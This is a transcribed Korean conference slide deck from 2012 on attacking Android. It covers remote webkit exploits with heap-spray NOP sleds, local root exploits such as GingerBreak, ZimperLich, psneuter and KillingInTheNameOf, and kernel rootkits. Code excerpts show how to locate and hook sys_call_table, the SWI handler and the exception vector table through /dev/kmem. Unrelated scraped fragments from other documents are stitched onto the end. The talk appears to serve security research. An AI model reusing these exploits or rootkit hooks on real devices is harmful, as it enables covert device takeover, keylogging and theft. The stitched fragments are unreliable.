2012_6th_CodeEngn_[x82]_모바일_스마트_플랫폼_원격_로컬_취약점_공격_분석.ppt [호환 모드]

Size: px
Start display at page:

Download "2012_6th_CodeEngn_[x82]_모바일_스마트_플랫폼_원격_로컬_취약점_공격_분석.ppt [호환 모드]"

Transcription

1 Android 모바일스마트플랫폼 취약점공격기법분석 CodeEngn ReverseEngineering Conference 아이넷캅연구소장유동훈

2 Android Security Overview Remote/Local Exploitation Kernel Level Attacks Agenda

3 Android 보안위협배경 3/47 Android 스마트폰플랫폼취약점보안위협 2009년 8월, 플랫폼에탑재된커널결함을통한최초로컬루팅공격코드해외공개 2010년, 3/4분기 Android 스마트플랫폼웹브라우저최초원격공격코드해외공개 2010년 6월, Defcon 18에서 LKM 형태의 Android 커널기반 Rootkit 해외공개 인터넷검색만으로스마트폰해킹후설치되는커널악성코드, 키로거공격코드발표 Android 스마트플랫폼특성상보안업데이트적용이어려운근본적인문제점존재 스마트폰취약점으로인한보안위협 악성코드가설치된웹에접속 실행된악성코드가해커에게폰내에정보를외부로전송 사용자웹브라우저에서스마트폰웹악성코드가자동실행악성코드 해커 사용자가브라우저를통해서비스에접속

4 Android 보안위협배경 4/47 Android Patch Lifecycle 및 version timeline 참고자료 [TIM11]

5 Android 보안위협배경 5/47 Local vulnerabilities by year (CVSS severity) 참고자료 [JON10]

6 Android 보안위협배경 6/47 Unprivileged App Attacks (Application Attack) 격리환경 (sandbox) 에서설치되는응용앱에의해시도되는악의적인행위 관련위협사례 : Geinimi, PJApps, ADRD, DroidDream Remote Exploitation (Drive-by Download Attack) 긴패치사이클을고려할때취약점패치이전에공격이이루어질가능성높음 관련취약점 CVE , , , 관련논문 : MAR06, ALE07, MAR08 Local Exploitation (Privilege Escalation Attack) 로컬취약점을이용하여관리자권한으로상승하는루팅행위 관련취약점 : CVE , , , 관련논문 : LUC10, TIM11, SEB11 Kernel Level Attacks (Rootkit & Key Logger Attack) 커널내에상주하는응용된악성코드 관련논문 : JEF10, TRU10, DON11

7 Android 보안위협배경 7/47 현존하는 Android 스마트플랫폼취약점보안위협분류

8 Android 보안위협배경 8/47 현존하는 Android 스마트플랫폼취약점보안위협분류 Success rate danger line android-root gingerbreak exploid levitator psneuter zimperlich zergrush CVE CVE CVE CVE CVE CVE Killinginthe nameof rageagainst thecage metho d

9 Android 보안위협배경 9/47 스마트플랫폼모바일 exploit (iphone/android) 통계 Win32 exploit 12 개를스마트폰으로포팅해본결과, Eclair 7 개, Froyo 5 개, Gingerbread 2 개의공격가능한 exploit 이개발됨 Iphone 3g

10 Android Security Overview Remote/Local Exploitation Kernel Level Attacks Agenda

11 Remote Exploitation 11/47 Android Drive-by Download 공격기법 사용자가모르게악성코드를자동으로다운로드받아실행하는원격공격의일종 주로 use-after-free 취약점을 Heap spraying 기법으로공격하는사례등이발견 Drive-by Download 공격

12 Remote Exploitation 12/47 Android 원격시스템취약점공격기법 접근권한이없는공격자가시스템내부취약점을통해원격으로공격을시도 역접속과정 (reverse connection) 을통해원격시스템의일반권한쉘실행 현존하는대부분의원격시스템취약점공격이웹페이지접속을통해이루어짐 과거원격공격과달리최근 win32 클라이언트공격과같은 user interaction 필요 향후발생가능성이높은 Android 원격시스템취약점침해사고사례 SMS나 MMS로도착한문자메시지내의 URL을클릭하여발생하는침해사고 SNS 사이트의짧게줄인외부링크를클릭하여발생하는침해사고 공격자가만든 QR 코드를촬영하여 URL에접속시발생하는침해사고 공격자에게해킹당한웹페이지에접속시발생하는침해사고 웹서비스로제공되는메일함내의 URL이나첨부파일클릭시발생하는침해사고

13 원격취약점유발원인및공격방법 13/47 Dangling Pointer / Invalid, expired pointer de-reference 오류및기타예외상황발생시메모리처리루틴의설계혼란으로프로그램이해제된포인터를계속참조할때발생 접근불가한메모리영역을참조하여 access violation 발생 Watchfire 사가 2007년 BlackHat 컨퍼런스를통해시연 Use-after-free, Double free, Memory leak 결함으로분류 웹브라우저, 3 rd party 어플리케이션에존재하는상기취약점공격시 Heap spray, JIT spray 등의공격기법시도 Heap spraying Attack 힙에코드를뿌리듯이주입하여코드를실행시키는공격방법 웹브라우저 (javascript), adobe (actionscript) 취약점을대상으로한공격가능 취약점에의해비정상적인메모리주소로 JMP나 CALL이발생할경우해당메모리영역까지실행하고자하는코드를반복주입하여힙메모리구역의코드를실행 프로세스가이미점유중인메모리영역, 커널영역주소는공격불가

14 원격취약점공격방법 14/47 Android Linux 환경에서 Heap spraying 공격특징 하드웨어사양에따라힙메모리에할당가능한크기제약존재 쉘코드주입, 취약점유발시브라우저화면내에공격코드를출력시켜야함 공격시 maps 파일과 logcat 명령결과참고, gdb, objdump 도구로디버깅 범용적으로사용할 ARM 아키텍쳐전용쉘코드작성필요 SVC 인스트럭션코드를수정하여 syscall base 주소변경 ef svc 0x # Base address of EABI 0 ef svc 0x # Base address of OABI 0x 해외제품은 EABI 호출방식, 국내제품은 OABI 호출방식사용 ARM 아키텍처전용 NOP sled 사용 #1: var scode2 = unescape("\u5005\ue1a0"); // normal NOP sled #2: var nop = unescape("\u33bc\u0057"); // LDREQH R3,[R7],-0x3C (addressing) #3: var nop = unescape("\u33bc\u0079"); // LDRHTEQ r3, [r9], -0x3C (addressing) #4: var nop = unescape( \u33\bc\u009b ); // LDRHEQ r3, [r11], r12 (addressing)

15 원격취약점공격사례 15/47 CVE : webkit library vulnerability Android 2.0, 2.1, 버전에탑재된 webkit library에존재하는원격취약점 parsefloat() 함수의 floating point 데이터형식의잘못된 NAN parsing bug 취약한 webkit을사용중인경우원격공격자가웹브라우저권한획득가능 발견자 : Luke Wagner of Mozilla 취약점정보 : CVE , bid: 46105, changeset Exploit 개발자 : MJ Keith, Itzhak Avraham Exploit 정보 #1: Exploit 정보 #2: 1 description( 2 "This test checks for a crash when parsing NaN. You should see the text 'NaN' below." 3 ); 4 5 debug(-parsefloat("nan(ffffeeeeeff0f)")); 6 7 var successfullyparsed = true;

16 원격취약점공격사례 16/47 CVE : webkit library vulnerability Android 2.0, 2.1, 버전에탑재된 webkit library에존재하는원격취약점 removechild() 함수의 use-after-free 취약점으로인해발생 취약한 webkit을사용중인경우원격공격자가웹브라우저권한획득가능 발견자 : apple, google, VUPEN VRT, Tippingpoint 취약점정보 : CVE , bid: 40620, changeset Exploit 개발자 : MJ Keith Exploit 정보 #1: <HTML><HEAD> <SCRIPT>function test() { nodes=document.getelementbyid( target ).getattributenode( id ).childnodes; document.getelementbyid( target ).getattributenode( id ).removechild(nodes[0]); settimeout(function(){for(var i=0;i<0x10000;i++){var s=new String(unescape( XXXX"));} nodes[0].textcontent},0); }</SCRIPT></HEAD> <BODY onload=test()><p id=target></p></body> </HTML>

17 원격취약점공격사례 17/47 Android를대상으로한원격취약점사례 CVE webkit library vulnerability (changeset 63048) HTML Objects outline memory corruption bug CVE adobe flash vulnerability (apsa11-02) SharedObject.prototype.getSize and Date memory corruption bug CVE webkit library vulnerability (changeset 59109) Node.normalize method remote code execution bug CVE adobe flash vulnerability (apsb11-21) MP4 sequenceparametersetnalunit Remote code execution bug

18 Local Exploitation 18/47 Privilege Escalation 공격기법 네이티브레이어내의로컬취약점을통해관리자접근권한으로상승하는행위 Rooting: 단말내에서관리자권한을취득하여사용자권한이 root 인상태를의미 로컬권한상승공격 (rooting)

19 Local Exploitation 19/47 Android 로컬시스템취약점공격기법 단말을가진사용자가임의로펌웨어를변경하는 local rooting 방법 Android 어플리케이션이나 Linux 커널에존재하는취약점을로컬에서공격 리눅스커널을탑재하고있어리눅스커널에서발견된결함으로도공격가능 취약한 setuid 프로그램대상공격보다데몬서비스취약점악용사례가더많은편 현존하는대부분의취약점공격코드는 The Android Exploid Crew에서발표현존하는 Android 로컬시스템취약점공격사례 Exploid: 리눅스커널 udev 취약점을통한로컬권한상승취약점공격 RageAgainstTheCage: adb RLIMIT_NPROC setuid() 로컬권한상승취약점공격 ZimperLich: Zygote RLIMIT_NPROC setuid() 로컬권한상승취약점공격 KillingInTheNameof, psneuter: adb ashmem 로컬권한상승취약점공격 GingerBreak: Vold Volume Manager 로컬권한상승취약점공격 ZergRush: libsysutils use-after-free 로컬권한상승취약점공격 Lavitator: PowerVR SGX 커널모듈로컬권한상승취약점공격

20 로컬취약점공격사례 20/47 CVE : 리눅스 udev 취약점을통한로컬권한상승공격 Android 이하, udev 이전버전시스템에존재하는취약점 NETLINK 메시지를전송하여관리자권한에서임의내용으로파일쓰기가능 취약점정보 : CVE , bid: 취약점발견자 / Exploit 개발자 : Sebastian Krahmer (stealth) Exploit 정보 : CVE-2010-EASY: zygote / adb RLIMIT_NPROC 로컬권한상승공격 Android 이하버전시스템에서존재하는취약점 프로세스개수를늘려 RLIMIT_NPROC 제한을넘기면 zygote, adb 실행시함수호출이실패하면서관리자권한쉘실행 취약점정보 : CVE-2010-EASY ( 정보없음 ) 취약점발견자 / Exploit 개발자 : Sebastian Krahmer (stealth) Exploit 정보 #1: Exploit 정보 #2:

21 로컬취약점공격사례 21/47 CVE : 리눅스 udev 취약점을통한로컬권한상승공격 // NETLINK 메시지를처리하는 platform/system/core.git/init/devices.c 취약코드 void process_firmware_event(struct uevent *uevent) { l = asprintf(&root, SYSFS_PREFIX"%s/", uevent->path); l = asprintf(&loading, "%sloading", root); l = asprintf(&data, "%sdata", root); l = asprintf(&file1, FIRMWARE_DIR1"/%s", uevent->firmware); loading_fd = open( loading, O_WRONLY); // 공격자가생성한 loading 파일 data_fd = open(data, O_WRONLY); // 공격자가 hotplug 파일과링크한 data 파일 fw_fd = open(file1, O_RDONLY); // 공격자가만든 attack 파일 if(!load_firmware(fw_fd, loading_fd, data_fd)) } int load_firmware(int fw_fd, int loading_fd, int data_fd) { write(loading_fd, "1", 1); // 전송시작 while (len_to_copy > 0) { nr = read(fw_fd, buf, sizeof(buf)); // 공격자의 attack 파일을읽어 while (nr > 0) { // data 에기록, /proc/sys/kernel/hotplug 내용변조 nw = write(data_fd, buf + nw, nr); }

22 로컬취약점공격사례 22/47 CVE-2010-EASY: adb RLIMIT_NPROC 로컬권한상승공격 adb.c 취약코드 : setgroups(sizeof(groups)/sizeof(groups[0]), groups); /* then switch user and group to "shell" */ setgid(aid_shell); setuid(aid_shell); /* set CAP_SYS_BOOT capability, so "adb reboot" will succeed */ header.version = _LINUX_CAPABILITY_VERSION; CVE-2010-EASY: zygote RLIMIT_NPROC 로컬권한상승공격 ZimperLich 공격코드 : for (;;) { if ((p = fork()) == 0) { // RLIMIT_NPROC 에도달할때까지 fork() exit(1); } else if (p < 0) { sleep(3); } return 0

23 로컬취약점공격사례 23/47 CVE : adb ashmem 로컬권한상승공격 Android 2.3 이하버전시스템에서존재하는취약점 ashmem 공유메모리의 ro.secure, ASHMEM_SET_PROT_MASK 재설정취약점 취약점정보 : CVE 취약점발견자 / Exploit 개발자 : Sebastian Krahmer (stealth) Exploit 정보 #1: Exploit 정보 #2: $ cat /proc/self/maps grep ashmem a000 r-xs : /dev/ashmem/system_properties (deleted) $ $ getprop [ro.secure]: [1] [ro.allow.mock.location]: [1] [ro.debuggable]: [1]... $

24 로컬취약점공격사례 24/47 CVE : adb ashmem ro.secure 로컬권한상승공격 KillingInTheNameOf 공격코드 : printf("[+] Found prop %p\n", prop); if (mprotect(prop, PA_SIZE, PROT_READ PROT_WRITE) < 0) die("[-] mprotect"); pi = (struct prop_info *)(prop + PA_INFO_START); pa = (struct prop_area *)prop; while (pa->count--) { printf("[*] %s: %s\n", pi->name, pi->value); if (strcmp(pi->name, "ro.secure") == 0) { strcpy(pi->value, "0"); printf("[+] ro.secure resetted to 0\n"); break; CVE : adb ashmem ASHMEM_SET_PROT_MASK 로컬권한상승공격 psneuter 공격코드 : #define ASHMEMIOC 0x77 #define ASHMEM_SET_PROT_MASK _IOW( ASHMEMIOC, 5, unsigned long) if((ppage = mmap(0, sz, PROT_READ, MAP_SHARED, fd, 0)) == MAP_FAILED) if(ioctl(fd, ASHMEM_SET_PROT_MASK, 0)) // asmmem 내의 ro.secure 설정변경

25 로컬취약점공격사례 25/47 CVE : Vold volume manager overflow 로컬권한상승공격 Android 2.1 버전부터 3.0 이하버전시스템에존재하는취약점 NETLINK 메시지로인해 Vold 볼륨매니저데몬에서정수형오버플로우발생 취약점정보 : CVE 취약점발견자 / Exploit 개발자 : Sebastian Krahmer (stealth) Exploit 정보 : // /system/vold/directvolume.cpp 취약코드 : void DirectVolume::handlePartitionAdded(const char *devpath, NetlinkEvent *evt) { int major = atoi(evt->findparam("major")); int minor = atoi(evt->findparam("minor")); int part_num; const char *tmp = evt->findparam("partn"); part_num = atoi(tmp); if (part_num > mdisknumparts) { mdisknumparts = part_num; } mpartminors[part_num -1] = minor; // 부적절한인덱스참조로취약점발생

26 로컬취약점공격사례 26/47 CVE : Vold volume manager overflow 로컬권한상승공격 GingerBreak 공격코드 : n = snprintf(buf, sizeof(buf), "@/foo%caction=add%csubsystem=block%c" "DEVPATH=%s%c" "MAJOR=179%cMINOR=%d%cDEVTYPE=harder%cPARTN=%d", 0, 0, 0, vold.device, 0, 0, vold.system, 0, 0, -idx); // GOT 덮어쓰기시도 if (honeycomb) { n = snprintf(buf, sizeof(buf), "@/foo%caction=add%csubsystem=block%c" "SEQNUM=%s%cDEVPATH=%s%c" "MAJOR=%s%cMINOR=%s%cDEVTYPE=%s%cPARTN=1", 0, 0, 0, bsh, 0, bsh, 0, bsh, 0, bsh, 0, bsh, 0); // shell 명령실행유도 } else if (froyo) { /system/vold/directvolume.cpp atoi 호출부분코드 : int major = atoi(evt->findparam("major")); // system("/data/local/tmp/boomsh"); int minor = atoi(evt->findparam("minor")); // system("/data/local/tmp/boomsh"); const char *tmp = evt->findparam("partn"); part_num = atoi(tmp); // system("/data/local/tmp/boomsh");

27 로컬취약점공격사례 27/47 CVE : libsysutils buffer overflow 로컬권한상승공격 Android 2.2 버전부터 버전시스템에존재하는취약점 로컬에설치된앱이 FrameworkListener::dispatchCommand() 함수에잘못된숫자의파라미터정보를넘길때 libsysutils에서발생하는 buffer overflow 취약점정보 : CVE 취약점발견자 / Exploit 개발자 : The Revolutionary development team Exploit 정보 : CVE , 1352: PowerVR SGX 커널모듈로컬권한상승공격 Android 이하버전시스템에존재하는취약점 PowerVR SGX 커널모듈에존재하는커널메모리덤프취약점과변조취약점 취약점정보 : CVE , CVE 취약점발견자 / Exploit 개발자 : Jon Larimer, Jon Oberheide Exploit 정보 :

28 Demonstration Remote/Local Exploitation Demonstration

29 Android Security Overview Remote/Local Exploitation Kernel Level Attacks Agenda

30 Kernel Level Attacks 30/47 Kernel 기반 Rootkit 기술 공격자가 Linux kernel 을장악하여플랫폼내의모든레이어에대한권한확보 어플리케이션레이어가변조되더라도 end-user 가행위를탐지하기어려움 커널레벨루트킷, 키로깅, 키인젝션공격

31 Kernel Level Attacks 31/47 LKM (loadable kernel module) 동적적재를통한커널접근기술 커널컴파일및재부팅없이도개발한코드를커널내에추가하거나제거가능 Android 역시기존리눅스커널과동일한 LKM 기능을기본으로제공 OS에서기본으로제공하는프로그래밍인터페이스인시스템콜을후킹 약 360개배열형태의 sys_call_table 내에저장된함수주소를변경하는방식 KMEM device 접근을통한커널메모리접근기술 과거리눅스커널과같이 KMEM 디바이스접근을통해커널메모리읽기, 쓰기가능 Silvio cesare의 RUNTIME KERNEL PATCHING, sd의 Phrack 58-7호에서다뤄진기술 /dev/mem ( 선형 ), /dev/kmem ( 가상 ) 메모리맵핑파일을통한커널메모리접근 사용자레벨에서모듈설치과정없이런타임커널을패치할수있는장점제공 각제조사에서제공하는다양한커널버전에비의존적, 독립적으로동작

32 Kernel Level Attacks 32/47 커널공격을통한 Android 스마트플랫폼보안무력화 OS 커널 하드웨어기기스마트플랫폼 라이브러리 Application Framework Core library Dalvik VM 플랫폼커널공격을통한각종어플리케이션제어 백신 APP

33 Kernel Level Attacks 33/47 Android 스마트플랫폼커널보안위협종류 터치패드입력키감시 : 각종입력정보 ( 계좌, 비밀번호 ) 노출 주요전자금융거래내역조작 : 해커의계좌로돈을이체하는사고발생 발전된커널기반봇넷 : 네트웍상태정보은닉 (C&C 커넥션채널 ) 일반적인커널루트킷 : 원격, 로컬백도어및악성코드정보은닉 사용자앱 / 브라우저터치키보드입력로그인인증인증서버 키보드입력정보감시 중간자키보드입력조작 해커가공격가능한취약구간 해커

34 Kernel Level Attacks 34/47 Android 스마트플랫폼 Kernel Rootkit Hooking 기술 Exception vector table (EVT) exception vector table hooking Dalvic Virtual Machine (java) 0xffff0000 Reset s branch code UNDEF s branch code Core/Native library (C/C++) 0xffff0008 SWI SWI s branch code vector_swi (exception handler) hooking Exception Handler 0xffff0420 vector_swi s address vector_swi system call table 0x0a sys_unlink s address sys_call_table hooking 0x0b 0x0c 0x0d sys_execve s address sys_chdir s address sys_time s address kernel byte code patching sys_execve USER MODE KERNEL MODE system call function

35 Kernel Level Attacks 35/47 Android Kernel Rootkit #1: sys_call_table Hooking 기술

36 Kernel Level Attacks 36/47 Android Kernel Rootkit #1: sys_call_table 검색기술 Android 플랫폼커널은높은주소에구현된 high vector(0xffff0000) 를사용 EVT 0x8 offset 지점 (0xffff0008) 에 SWI 핸들러로 branch 하는인스트럭션을통해 0x420 offset 지점 (0xffff0420) 에저장된 vector_swi SWI 핸들러를호출 void get_sys_call_table(){ void *swi_addr=(long *)0xffff0008; // EVT 0x8 offset 지점 unsigned long offset=0; unsigned long *vector_swi_addr=0; unsigned long sys_call_table=0; offset=((*(long *)swi_addr)&0xfff)+8; // 0x420 offset 지점 vector_swi_addr=*(unsigned long *)(swi_addr+offset); // SWI 핸들러주소를얻음 } while(vector_swi_addr++){ if(((*(unsigned long *)vector_swi_addr)&0xfffff000)==0xe28f8000){ offset=((*(unsigned long *)vector_swi_addr)&0xfff)+8; sys_call_table=(void *)vector_swi_addr+offset; break; } } return; c0 <vector_swi>: : e1a09689 mov r9, r9, lsl #13 [*]108: e28f8094 add r8, pc, #148 ; load syscall table pointer 10c: e599c000 ldr ip, [r9] ; check for syscall tracing

37 Kernel Level Attacks 37/47 Android Kernel Rootkit #1: sys_call_table 검색기술 공개심볼인 sys_close 는 sys_call_table 내에여섯번째시스템콜로지정됨 vector_swi 주소를얻은후쉽게 sys_call_table 주소를얻을수있음... vector_swi 주소검색루틴수행후... while(vector_swi_addr++){ if(*(unsigned long *)vector_swi_addr==&sys_close){ sys_call_table=(void *)vector_swi_addr-(6*4); break; } } fs/open.c: EXPORT_SYMBOL(sys_close);... call.s: /* 0 */ CALL(sys_restart_syscall) CALL(sys_exit) CALL(sys_fork_wrapper) CALL(sys_read) CALL(sys_write) /* 5 */ CALL(sys_open) CALL(sys_close)

38 Kernel Level Attacks 38/47 Android Kernel Rootkit #1: sys_call_table Hooking 기술 /dev/kmem 디바이스에대한 root 권한의접근을허용하고있음 Lseek() 함수로이동, read() 함수로읽거나 write() 함수로쓰는것이가능 #define MAP_SIZE 4096UL #define MAP_MASK (MAP_SIZE - 1) int kmem; void read_kmem(unsigned char *m,unsigned off,int sz) { int i; void *buf,*v_addr; #define MAP_SIZE 4096UL #define MAP_MASK (MAP_SIZE - 1) int kmem; void write_kmem(unsigned char *m,unsigned off,int sz) { int i; void *buf,*v_addr; } if((buf=mmap(0,map_size*2,prot_read PROT_WRITE, MAP_SHARED,kmem,off&~MAP_MASK))==(void *)-1){ perror("read: mmap error"); exit(0); } for(i=0;i<sz;i++){ v_addr=buf+(off&map_mask)+i; m[i]=*((unsigned char *)v_addr); } if(munmap(buf,map_size*2)==-1){ perror("read: munmap error"); exit(0); } return; } if((buf=mmap(0,map_size*2,prot_read PROT_WRITE, MAP_SHARED,kmem,off&~MAP_MASK))==(void *)-1){ perror("write: mmap error"); exit(0); } for(i=0;i<sz;i++){ v_addr=buf+(off&map_mask)+i; *((unsigned char *)v_addr)=m[i]; } if(munmap(buf,map_size*2)==-1){ perror("write: munmap error"); exit(0); } return;

39 Kernel Level Attacks 39/47 Android Kernel Rootkit #1: sys_call_table Hooking 기술 /dev/kmem 접근기술을통해 sys_call_table 을변경하여후킹하는예제 kmem=open("/dev/kmem",o_rdwr O_SYNC); if(kmem<0){ return 1; }... if(c=='i' c=='i'){ /* install */ addr_ptr=(char *)get_kernel_symbol("hacked_getuid"); write_kmem((char *)&addr_ptr,addr+ NR_GETUID*4,4); addr_ptr=(char *)get_kernel_symbol("hacked_writev"); write_kmem((char *)&addr_ptr,addr+ NR_WRITEV*4,4); addr_ptr=(char *)get_kernel_symbol("hacked_kill"); write_kmem((char *)&addr_ptr,addr+ NR_KILL*4,4); addr_ptr=(char *)get_kernel_symbol("hacked_getdents64"); write_kmem((char *)&addr_ptr,addr+ NR_GETDENTS64*4,4); } else if(c=='u' c=='u'){ /* uninstall */... } close(kmem);

40 Kernel Level Attacks 40/47 Android Kernel Rootkit #2: SWI handler Hooking 기술

41 Kernel Level Attacks 41/47 Android Kernel Rootkit #2: SWI handler Hooking 기술 sys_call_table 을직접수정하지않고복사본을커널힙메모리내에생성 복사본을사용하도록 vector_swi 핸들러내의 sys_call_table 핸들코드를수정 static void *hacked_sys_call_table[500]; static void **sys_call_table; int sys_call_table_size; int init_module(void){ get_sys_call_table(); // sys_call_table 위치와크기를구함 memcpy(hacked_sys_call_table,sys_call_table,sys_call_table_size*4); 컴파일이전코드 : ENTRY(vector_swi)... get_thread_info tsk adr tbl, sys_call_table ; load syscall table pointer ~~~~~~~~~~~~~~~~~~~~~~~~~~~ -> sys_call_table을다루는코드 ldr ip, [tsk, #TI_FLAGS] check for syscall tracing 컴파일이후코드 : c0 <vector_swi>: : e1a096ad mov r9, sp, lsr #13 ; get_thread_info tsk 104: e1a09689 mov r9, r9, lsl #13 [*]108: e28f8094 add r8, pc, #148 ; load syscall table pointer ~~~~~~~~~~~~~~~~~~~~ -> sys_call_table을상대오프셋으로다룸 10c: e599c000 ldr ip, [r9] ; check for syscall tracing

42 Kernel Level Attacks 42/47 Android Kernel Rootkit #3: EVT Hooking 기술

43 Kernel Level Attacks 43/47 Android Kernel Rootkit #3: EVT Hooking 기술 EVT 내의 SWI 핸들러주소를변경하여공격자가만든가짜핸들러를대신호출함 sys_call_table 복사본과 vector_swi 복사본을만든후 EVT 내의주소를변경함 #./coelacanth -e [000] ffff0000: ef9f0000 [Reset] ; svc 0x9f0000 branch 코드배열 [004] ffff0004: ea0000dd [Undef] ; b 0x380 [008] ffff0008: e59ff410 [SWI] ; ldr pc, [pc, #1040] ; 0x420 [00c] ffff000c: ea0000bb [Abort-perfetch] ; b 0x300 [010] ffff0010: ea00009a [Abort-data] ; b 0x280 [014] ffff0014: ea0000fa [Reserved] ; b 0x404 [018] ffff0018: ea [IRQ] ; b 0x608 [01c] ffff001c: ea0000f7 [FIQ] ; b 0x400 [020] Reserved... skip... [22c] ffff022c: c003dbc0 [ irq_usr] ; 예외핸들러함수주소배열 [230] ffff0230: c003d920 [ irq_invalid] [234] ffff0234: c003d920 [ irq_invalid] [238] ffff0238: c003d9c0 [ irq_svc] [23c] ffff023c: c003d920 [ irq_invalid]... [420] ffff0420: c003df40 [vector_swi] ; 공격자의가짜핸들러로변경

44 Kernel Level Attacks 44/47 Android Kernel Rootkit #4: EVT Hooking 기술

45 Kernel Level Attacks 45/47 Android Kernel Rootkit #4: EVT Hooking 기술 SWI 발생시호출되는 EVT 내의 4byte branch 인스트럭션코드의오프셋을변경 sys_call_table 과 vector_swi 복사본을만든후 EVT 내의오프셋 1byte 를변경 [000] ffff0000: ef9f0000 [Reset] ; svc 0x9f0000 branch 코드배열 [004] ffff0004: ea0000dd [Undef] ; b 0x380 [008] ffff0008: e59ff410 [SWI] ; ldr pc, [pc, #1040] ; 0x skip... [420] ffff0420: c003df40 [vector_swi] ; 정상적인상태의 SWI 핸들러주소 [000] ffff0000: ef9f0000 [Reset] ; svc 0x9f0000 branch 코드배열 [004] ffff0004: ea0000dd [Undef] ; b 0x380 [008] ffff0008: e59ff414 [SWI] ; ldr pc, [pc, #1044] ; 0x skip... [420] ffff0420: c003df40 [vector_swi] [424] ffff0424: bf0ceb5c [new_vector_swi] ; 가짜 vector_swi 핸들러코드

46 Demonstration Kernel Level Attacks Demonstration

47 Q & A By "dong-hoon you" (Xpl017Elz), in (c)inetcop MSN & x82(at)inetcop(dot)org Home: CodeEngn ReverseEngineering Conference

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 KeyPad Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 에는 16 개의 Tack Switch 를사용하여 4 행 4 열의 Keypad 가장착 4x4 Keypad 2 KeyPad 를제어하기위하여 FPGA 내부에 KeyPad controller 가구현 KeyPad controller 16bit 로구성된

More information

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서 커알못의 커널 탐방기 2015.12 이 세상의 모든 커알못을 위해서 개정 이력 버전/릴리스 0.1 작성일자 2015년 11월 30일 개요 최초 작성 0.2 2015년 12월 1일 보고서 구성 순서 변경 0.3 2015년 12월 3일 오탈자 수정 및 글자 교정 1.0 2015년 12월 7일 내용 추가 1.1 2015년 12월 10일 POC 코드 삽입 및 코드

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Web server porting 2 Jo, Heeseung Web 을이용한 LED 제어 Web 을이용한 LED 제어프로그램 web 에서데이터를전송받아타겟보드의 LED 를조작하는프로그램을작성하기위해다음과같은소스파일을생성 2 Web 을이용한 LED 제어 LED 제어프로그램작성 8bitled.html 파일을작성 root@ubuntu:/working/web# vi

More information

Deok9_Exploit Technique

Deok9_Exploit Technique Exploit Technique CodeEngn Co-Administrator!!! and Team Sur3x5F Member Nick : Deok9 E-mail : DDeok9@gmail.com HomePage : http://deok9.sur3x5f.org Twitter :@DDeok9 > 1. Shell Code 2. Security

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-Segment Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 6-Digit 7-Segment LED controller 16비트로구성된 2개의레지스터에의해제어 SEG_Sel_Reg(Segment

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-Segment Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 6-Digit 7-Segment LED Controller 16비트로구성된 2개의레지스터에의해제어 SEG_Sel_Reg(Segment

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-SEGMENT DEVICE CONTROL - DEVICE DRIVER Jo, Heeseung 디바이스드라이버구현 : 7-SEGMENT HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 디바이스드라이버구현 : 7-SEGMENT 6-Digit 7-Segment LED

More information

K&R2 Reference Manual 번역본

K&R2 Reference Manual 번역본 typewriter structunion struct union if-else if if else if if else if if if if else else ; auto register static extern typedef void char short int long float double signed unsigned const volatile { } struct

More information

6주차.key

6주차.key 6, Process concept A program in execution Program code PCB (process control block) Program counter, registers, etc. Stack Heap Data section => global variable Process in memory Process state New Running

More information

untitled

untitled Step Motor Device Driver Embedded System Lab. II Step Motor Step Motor Step Motor source Embedded System Lab. II 2 open loop, : : Pulse, 1 Pulse,, -, 1 +5%, step Step Motor (2),, Embedded System Lab. II

More information

10.

10. 10. 10.1 10.2 Library Routine: void perror (char* str) perror( ) str Error 0 10.3 10.3 int fd; /* */ fd = open (filename, ) /*, */ if (fd = = -1) { /* */ } fcnt1 (fd, ); /* */ read (fd, ); /* */ write

More information

임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과

임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 System call table and linkage v Ref. http://www.ibm.com/developerworks/linux/library/l-system-calls/ - 2 - Young-Jin Kim SYSCALL_DEFINE 함수

More information

임베디드시스템설계강의자료 6 system call 1/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과

임베디드시스템설계강의자료 6 system call 1/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 임베디드시스템설계강의자료 6 system call 1/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 시스템호출개요 리눅스에서는사용자공간과커널공간을구분 사용자프로그램은사용자모드, 운영체제는커널모드에서수행 커널공간에대한접근은커널 ( 특권, priviledged) 모드에서가능 컴퓨팅자원 (CPU, memory, I/O 등 ) 을안전하게보호 커널수행을안전하게유지

More information

슬라이드 1

슬라이드 1 / 유닉스시스템개요 / 파일 / 프로세스 01 File Descriptor file file descriptor file type unix 에서의파일은단지바이트들의나열임 operating system 은파일에어떤포맷도부과하지않음 파일의내용은바이트단위로주소를줄수있음 file descriptor 는 0 이나양수임 file 은 open 이나 creat 로 file

More information

Chapter #01 Subject

Chapter #01  Subject Device Driver March 24, 2004 Kim, ki-hyeon 목차 1. 인터럽트처리복습 1. 인터럽트복습 입력검출방법 인터럽트방식, 폴링 (polling) 방식 인터럽트서비스등록함수 ( 커널에등록 ) int request_irq(unsigned int irq, void(*handler)(int,void*,struct pt_regs*), unsigned

More information

I. 모바일악성코드동향 1. 스마트폰과모바일악성코드우리일상에서스마트폰을사용하는시간이점차증가하고있다. 모바일단말즉, 스마트폰의성능은점차 PC의성능에가까워지고있다. 스마트폰을이용하여인터넷뱅킹, 웹검색, 게임등다양한서비스를제공받을수있다. 또한가족과친구들의전화번호, 자신의신용

